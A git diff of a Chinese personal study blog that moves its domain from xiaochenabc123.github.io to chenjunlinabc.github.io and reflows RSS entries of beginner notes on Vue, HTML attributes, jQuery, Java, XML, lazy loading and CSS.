main: &amp;quot;小陈的辣鸡屋&amp;quot;
}
}
}
Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;)
&amp;lt;/script&amp;gt;
这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;p&amp;gt;{{ hallovuejs }}&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const hallo ={ data() { return { hallovuejs: &amp;quot;hallo vuejs!&amp;quot; } } } Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;) &amp;lt;/script&amp;gt; vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;a v-bind:href=&amp;quot;url&amp;quot;&amp;gt;{{ main }}&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const hallo ={ data() { return { url:&amp;quot;https://xiaochenabc123.test.com&amp;quot;, main: &amp;quot;小陈的辣鸡屋&amp;quot; } } } Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;) &amp;lt;/script&amp;gt; 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
 而vue还提供了可以绑定事件的v-on属性，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;button v-on:click=&amp;quot;go&amp;quot;&amp;gt;{{ main }}&amp;lt;/button&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const hallo ={
data() {
return {
main: &amp;quot;hallo&amp;quot;
}
},
methods: {
go: function(){
console.</description>
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;button v-on:click=&amp;quot;go&amp;quot;&amp;gt;{{ main }}&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const hallo ={ data() { return { main: &amp;quot;hallo&amp;quot; } }, methods: { go: function(){ console.</description>
     </item>
     
     <item>
       <title>HTML全局属性笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/22/</link>
+      <link>https://chenjunlinabc.github.io/posts/22/</link>
       <pubDate>Wed, 16 Jun 2021 09:38:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/22/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/22/</guid>
       <description>属性
 accesskey
 定义快捷键获取焦点，例如
-&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; accesskey=&amp;quot;q&amp;quot;&amp;gt;GO\&amp;lt;/a&amp;gt;
按ait+q，就会跳到指定的网页上
+&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; accesskey=&amp;quot;q&amp;quot;&amp;gt;GO\&amp;lt;/a&amp;gt; 按ait+q，就会跳到指定的网页上
 class
 定义元素的类，开头必须是字母，多个类使用空格隔开，例如
-&amp;lt;div class = &amp;quot;a1 a2 a3&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
id
+&amp;lt;div class = &amp;quot;a1 a2 a3&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; id
 定义一个id，id为唯一性，不能重复，例如
-&amp;lt;div id = &amp;quot;a1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
lang
+&amp;lt;div id = &amp;quot;a1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; lang
 定义网页或者元素的语言，例如
-&amp;lt;div lang = &amp;quot;fr&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
style
+&amp;lt;div lang = &amp;quot;fr&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; style
 定义元素的行内样式，例如
-&amp;lt;div style=&amp;quot;color : #fff&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
tabindex
+&amp;lt;div style=&amp;quot;color : #fff&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; tabindex
 指定tab键的焦点控制，例如
-&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; tabindex=&amp;quot;1&amp;quot;&amp;gt;GO&amp;lt;/a&amp;gt;
使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
+&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; tabindex=&amp;quot;1&amp;quot;&amp;gt;GO&amp;lt;/a&amp;gt; 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
 contenteditable
 指定元素是否为可以编辑的，例如
-&amp;lt;div contenteditable=&amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
dir
+&amp;lt;div contenteditable=&amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; dir
 指定元素内文本的方向，例如
-&amp;lt;div dir = &amp;quot;rtl&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
ltr默认值，从左到右
+&amp;lt;div dir = &amp;quot;rtl&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; ltr默认值，从左到右
 rtl，从右到左
 title
 指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如
-&amp;lt;div title = &amp;quot;hi&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
data-xxx
+&amp;lt;div title = &amp;quot;hi&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; data-xxx
 用于存储一些自定义属性，data-后面必须有一个字符，不包括大写
 JavaScript可以通过getAttribute获取到
 draggable
 指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动
 有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如
-&amp;lt;div draggable = &amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
hidden
+&amp;lt;div draggable = &amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; hidden
 指定元素是否隐藏，有两个可选值，hidden/true，例如
-&amp;lt;div hidden = &amp;quot;hidden&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
contextmenu</description>
+&amp;lt;div hidden = &amp;quot;hidden&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; contextmenu</description>
     </item>
     
     <item>
       <title>jQuery基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/21/</link>
+      <link>https://chenjunlinabc.github.io/posts/21/</link>
       <pubDate>Wed, 16 Jun 2021 09:38:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/21/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/21/</guid>
       <description>##第一个jQuery程序
 $(&amp;lsquo;div&amp;rsquo;).html(&amp;ldquo;hello.world&amp;rdquo;);
 ##DOM对象和jQuery对象互转化
@@ -1527,10 +1527,10 @@ $(&amp;ldquo;div[class=divs],a[href=&amp;ldquo;https://xiaochenabc123.test.com&a
     
     <item>
       <title>JAVA基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/19/</link>
+      <link>https://chenjunlinabc.github.io/posts/19/</link>
       <pubDate>Wed, 16 Jun 2021 09:35:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/19/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/19/</guid>
       <description>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
 java的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行
 java编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑
@@ -1551,7 +1551,8 @@ java入口程序必须是静态方法，方法名也必须为main，参数必须
 多行注释
 */
 /** *
-一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
+一样是多行注释 */
+java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
 变量必须先定义，后赋值使用，例如：
 int a = 1;
 定义为int整数类型，名称为a，初始值为1
@@ -1566,10 +1567,10 @@ int x = i; // 变量x的值为i，因为i的值为100，所以x的值为i
     
     <item>
       <title>XML学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/17/</link>
+      <link>https://chenjunlinabc.github.io/posts/17/</link>
       <pubDate>Wed, 16 Jun 2021 09:32:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/17/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/17/</guid>
       <description>xml中文全称为可扩展标记语言（Extensible Markup Language）
 xml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的
 xml声明，该声明位在xml文档的第一行，结尾
@@ -1611,10 +1612,10 @@ FIXED // 表示这个固定的属性默认值，不能将该属性的值设置
     
     <item>
       <title>JavaScript-IntersectionObserver构造函数笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/16/</link>
+      <link>https://chenjunlinabc.github.io/posts/16/</link>
       <pubDate>Wed, 16 Jun 2021 09:29:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/16/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/16/</guid>
       <description>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
 该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法
 var observe = new IntersectionObserver(callback, options)
@@ -1637,15 +1638,15 @@ target：返回观测的目标对象，是dom对象
 time：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒
 如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点
 例如：
-const lazyload = new IntersectionObserver((target)=&amp;gt;{
// 实例化
target.forEach((item) =&amp;gt;{
if (item.intersectionRatio){
// 当目标可视
item.target.src = item.target.alt; // 进行属性值覆盖
lazyload.unobserve(item.target) // 停止观测
}
})
},{
rootMargin: &amp;quot;100px&amp;quot; // 提前100px
}); const imgs = document.querySelectorAll(&amp;quot;img[alt]&amp;quot;); // 选择带有alt属性的img元素
imgs.forEach((item) =&amp;gt; {
lazyload.observe(item)
// 开始观测
}); </description>
+const lazyload = new IntersectionObserver((target)=&amp;gt;{ // 实例化 target.forEach((item) =&amp;gt;{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: &amp;quot;100px&amp;quot; // 提前100px }); const imgs = document.querySelectorAll(&amp;quot;img[alt]&amp;quot;); // 选择带有alt属性的img元素 imgs.forEach((item) =&amp;gt; { lazyload.observe(item) // 开始观测 }); </description>
     </item>
     
     <item>
       <title>html5学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/12/</link>
+      <link>https://chenjunlinabc.github.io/posts/12/</link>
       <pubDate>Wed, 16 Jun 2021 09:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/12/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/12/</guid>
       <description>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
 HTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML
 而HTML5是一个标准，指的是第五代HTML标准
@@ -1679,23 +1680,23 @@ html语义
 要注意可以改变样式的标签不一定是有居于语义的
 在没有出现语义元素前，几乎都是使用div或者span，加类加id
 没有语义的元素最适合当容器使用了
-常用的非语义元素有&amp;lt;div&amp;gt;和&amp;lt;span&amp;gt;
常用的语义元素有&amp;lt;header&amp;gt;和&amp;lt;footer&amp;gt;
&amp;lt;header&amp;gt;：页眉，一般包括网站logo，主导航，搜索框等；
&amp;lt;nav&amp;gt;：导航，链接；
&amp;lt;main&amp;gt;：定义文章的主要内容，一个页面只能使用一次；
&amp;lt;article&amp;gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；
&amp;lt;section&amp;gt;：定义内容的节（段）；
&amp;lt;footer&amp;gt;：页脚，一般包含版权信息或者链接等；
&amp;lt;aside&amp;gt;：侧边栏，一般作为附属信息，例如导航索引，广告等；
meta viewport
+常用的非语义元素有&amp;lt;div&amp;gt;和&amp;lt;span&amp;gt; 常用的语义元素有&amp;lt;header&amp;gt;和&amp;lt;footer&amp;gt; &amp;lt;header&amp;gt;：页眉，一般包括网站logo，主导航，搜索框等； &amp;lt;nav&amp;gt;：导航，链接； &amp;lt;main&amp;gt;：定义文章的主要内容，一个页面只能使用一次； &amp;lt;article&amp;gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； &amp;lt;section&amp;gt;：定义内容的节（段）； &amp;lt;footer&amp;gt;：页脚，一般包含版权信息或者链接等； &amp;lt;aside&amp;gt;：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport
 viewport 是指 web 页面上的可见区域
-&amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
device-width指设备的理想宽度,不同的设备 device-width 是不一样的
+&amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt; device-width指设备的理想宽度,不同的设备 device-width 是不一样的
 nitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放
 maximum-scale=1.0 是指最大缩放大小是1
 标签使用&amp;lt;和&amp;gt;括起来，例如&amp;lt;div&amp;gt;
 html标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/
 例如： html不区分大小写。所以&amp;lt;DIV&amp;gt;和&amp;lt;div&amp;gt;作用一样。建议使用小写
-&amp;lt;!DOCTYPE html&amp;gt;声明这是一个html5文件，声明位于&amp;lt;html&amp;gt;前面
&amp;lt;html&amp;gt; 标识HTML文档的开始
&amp;lt;head&amp;gt;表明一些和html文档有关的信息，例如title
&amp;lt;body&amp;gt;html文档的主体
&amp;lt;!</description>
+&amp;lt;!DOCTYPE html&amp;gt;声明这是一个html5文件，声明位于&amp;lt;html&amp;gt;前面 &amp;lt;html&amp;gt; 标识HTML文档的开始 &amp;lt;head&amp;gt;表明一些和html文档有关的信息，例如title &amp;lt;body&amp;gt;html文档的主体 &amp;lt;!</description>
     </item>
     
     <item>
       <title>css3学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/11/</link>
+      <link>https://chenjunlinabc.github.io/posts/11/</link>
       <pubDate>Wed, 16 Jun 2021 09:21:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/11/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/11/</guid>
       <description>盒子模型
 盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model
 外边距（margin）：一般用于控制同辈元素之间的间距
@@ -1703,7 +1704,7 @@ html标签大多都是成对出现的，分开始标签和结束标签，结束
 内边距（padding）：内边框是用于控制内容的距离
 内容（content）：内容，一般为文本和图像
 例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子
-div{
width: 100px;
borde: 10px solid red;
padding: 10px;
margin: 10px;
}
top，bottom，left，right分别代表了上，下，左，右
+div{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右
 或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值
 有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下
 这个盒子大小应该是内容的宽度+内边距+边框+外边距
diff --git "a/categories/\345\255\246\344\271\240/page/1/index.html" "b/categories/\345\255\246\344\271\240/page/1/index.html"
index e94324a7..911b3063 100644
--- "a/categories/\345\255\246\344\271\240/page/1/index.html"
+++ "b/categories/\345\255\246\344\271\240/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/</title><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/</title><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/"></head></html>
\ No newline at end of file
diff --git "a/categories/\345\255\246\344\271\240/page/2/index.html" "b/categories/\345\255\246\344\271\240/page/2/index.html"
index 1f847525..5d59a8bc 100644
--- "a/categories/\345\255\246\344\271\240/page/2/index.html"
+++ "b/categories/\345\255\246\344\271\240/page/2/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>计算机网络学习笔记</h2></header><div class=entry-content><p>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>计算机网络学习笔记</h2></header><div class=entry-content><p>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
 计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等
 网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）
 计算机网络发展历史
@@ -60,7 +60,7 @@
 虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）
 网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作
 IP协议
-IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址...</p></div><footer class=entry-footer><span title='2022-11-01 12:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机网络学习笔记" href=https://xiaochenabc123.github.io/posts/156/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>计算机组成原理学习笔记</h2></header><div class=entry-content><p>计算机发展历史
+IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址...</p></div><footer class=entry-footer><span title='2022-11-01 12:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机网络学习笔记" href=https://chenjunlinabc.github.io/posts/156/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>计算机组成原理学习笔记</h2></header><div class=entry-content><p>计算机发展历史
 1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机
